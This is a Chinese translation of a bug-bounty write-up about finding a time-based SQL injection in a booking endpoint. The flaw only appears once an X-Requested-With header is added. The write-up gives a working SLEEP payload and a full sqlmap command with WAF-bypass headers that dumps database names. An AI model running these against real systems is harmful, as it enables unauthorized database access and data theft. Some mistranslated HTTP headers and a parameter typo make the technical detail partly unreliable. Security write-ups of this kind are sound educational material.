在公共漏洞奖励计划中发现关键SQL注入漏洞的技术剖析
🔥 这就是全部内容了,伙计们。我希望你们喜欢这篇文章,我尽力让这篇write up写得非常简单易懂。如果你想加入我的私密频道,可以在这里阅读详情:https://t.me/a7madn1/141AhmadTelegram (漏洞奖励计划技巧): https://t.me/a7madn1#bugbountytips #hacking #sql注入 #sql #hackerone #漏洞奖励计划 #
各位黑客朋友们,欢迎阅读这篇write up。在时隔许久没有在Medium上分享文章之后,这是最新的write up,内容关于一项新技术,即我如何在一个目标上成功实现完整的SQL注入。
关于我
我叫Ahmad Yussef,在社区中大家称呼我为a7madn1,是一名安全研究员。关于我的一些信息:我曾在Google的漏洞奖励计划中发现过超过15个安全漏洞,并成功多次获得最高排名。同时,我也保护了世界上许多公司免受安全漏洞的威胁。我有一个Telegram频道,有时会在上面分享一些真实的write up。我的频道链接:https://t.me/a7madn1
核心技术解析
现在让我们聚焦于一个简单的技术点。许多黑客在寻找服务端注入漏洞时,要么不知道这个技巧,要么会忘记它。
我会尽量让这篇write up简短,只是为了给你提供完整的信息/技巧来使用它。我不会说太多废话,只给你有用且简单的提示。
漏洞复现步骤
假设我的目标是:dedicated[.]com
步骤1:发现关键请求
找到一个POST请求 /Public/bookingAX.php,包含以下参数:task=unlockcode&lang=EN&eventnr=500&orderid=&code=500
步骤2:初始手动测试
我开始手动测试SQL注入,在每个参数值后面添加单引号',例如:task=unlockcode&lang=de&etnr=500’&orderid=&code=500,并对每个参数持续测试。
在每个参数后添加单引号测试后,没有任何结果。响应始终如下:
HTTP/1.1 200 OK
Date: Friday, January 30, 2026, 16:11:19 GMT
Content Type: Text/HTML
Content Length: 96
Connection: Continuous
Server: Apache
Expiration Date: Thursday, November 19, 1981, 08:52:00 GMT
Caching Control: No caching, no buffering, must re-verify
Pragma: No buffering
Vari: Accept encoding
{"stat":true,"msg":"Enter global action code","fields":null,"errors":null}ormsg: Permission Denied
步骤3:添加基础信任头
现在让我们使用一些头部再次测试。许多公司通过添加Origin和Referrer头部来验证对服务器的信任(这个头部有时可以让服务器更信任黑客,我的确切意思是,为了让服务器更信任发送请求的人)。
添加这两个头部后的请求如下:
Origin: https://dedicated[.]com
Referrer: https://dedicated[.]com
现在,我们再次在每个参数值后添加单引号进行测试。是的,同样没有任何结果 🤔😁。响应依旧是"Permission Denied"。
步骤4:核心技术点:使用X-Requested-With头部
让我们转向更高级的技术,使用更多头部:这就是我所使用的头部的威力所在。简短说明一下。
经过多次测试和许多头部的尝试,我遇到了一个非常有趣的头部,它叫做:X-Requested-With: XMLHttpRequest
关于X-Requested-With头部的简要说明:
X-Requested-With是一个非标准的HTTP头,主要用于指示HTTP请求是通过浏览器中的异步JavaScript和XML (AJAX) 发送的。- 当用户安装并运行一个使用WebView嵌入web内容的应用程序时,该WebView会在发送给服务器的每个请求上添加
X-Requested-With头,其值为应用程序的APK名称。
关于这个头部的具体细节我就不多说了,你可以在Google上搜索它,了解它是如何工作的、如何验证以及在何处添加它。
但请记住我的这个建议:当你看到支付功能、预订功能、事件功能以及其他一些需要从请求中检查更多信息的功能时,总是添加这个头部 X-Requested-With: XMLHttpRequest。
步骤5:添加X-Requested-With头部并触发漏洞
现在让我们继续步骤,将 X-Requested-With: XMLHttpRequest 添加到我的原始请求中。响应与第一个响应相同,没有问题。
现在让我们重新开始手动测试,在每个参数后添加单引号,看看是否有任何参数存在SQL注入漏洞!!
当我在code参数的值中添加'后,我看到了这个响应 😱!!
{"stat":true,"msg":"Database Error: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '’500’’' at line 2: select * from promouses\n\t\t\t\twhere eventnr=500 and lower(code)=’500’’","fields":null,"errors":null}
是的!!! 看到这个非常开心!!!数据库报错!!!非常有趣 🤔。
漏洞利用与绕过WAF
步骤6:漏洞利用
在利用部分,我使用了这个payload:500' AND (SELECT 9590 FROM (SELECT(SLEEP(8)))XFQD)-- rWR
成功执行,但这当然还不够。让我们打开sqlmap😈,看看是否有WAF或其他东西需要绕过,然后转储数据库!!!
果然如我所料,出现了403响应!
通过以下命令成功绕过了WAF:
sqlmap -u "https://dedicated[.]com/public/bookingAX.php" --data="task=unlockcode&lang=de&eventnr=500&orderid=&code=500" --cookie="PHPSESSID=Your-Cookies" --headers="X-Requested-With: XMLHttpRequest\nReferer: https://dedicated[.]com/itsec\nOrigin: https://dedicated[.]com" -p code --level=3 --risk=3 --technique=T --dbms=mysql --time-sec=8 --batch --random-agent --threads=5 --dbs
是的,你必须总是添加Origin和Referrer头部来尝试绕过WAF。
sqlmap成功返回了数据库 🫣🫣😁。
总结
🔥 这就是全部内容了,伙计们。我希望你们喜欢这篇文章,我尽力让这篇write up写得非常简单易懂。
如果你想加入我的私密频道,可以在这里阅读详情:https://t.me/a7madn1/141
感谢阅读 🥳,
Ahmad
作者联系方式:
- Telegram (漏洞奖励计划技巧): https://t.me/a7madn1
- LinkedIn: https://www.linkedin.com/in/ahmad-yussef-12b5a7262
- Twitter(X): https://x.com/a7mad__n1
#bugbountytips #hacking #sql注入 #sql #hackerone #漏洞奖励计划 #网络安全FINISHED
CSD0tFqvECLokhw9aBeRqmxRqESGsk7sgo8wNLOCp9udQVToGFhyYbj85pyznaaAXZjQRiLSmWA3Rvk3VPc4arl2bT47NaOUUtVRzXYZIlsMuXfkOgH3rNdEsI0yZsA5UZnvmbVcb50q9Qj5vCkEs2mjJky8ikapAcnLzLjyt540aoczhw3bE7DP40+Mdgga
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
更多推荐



所有评论(0)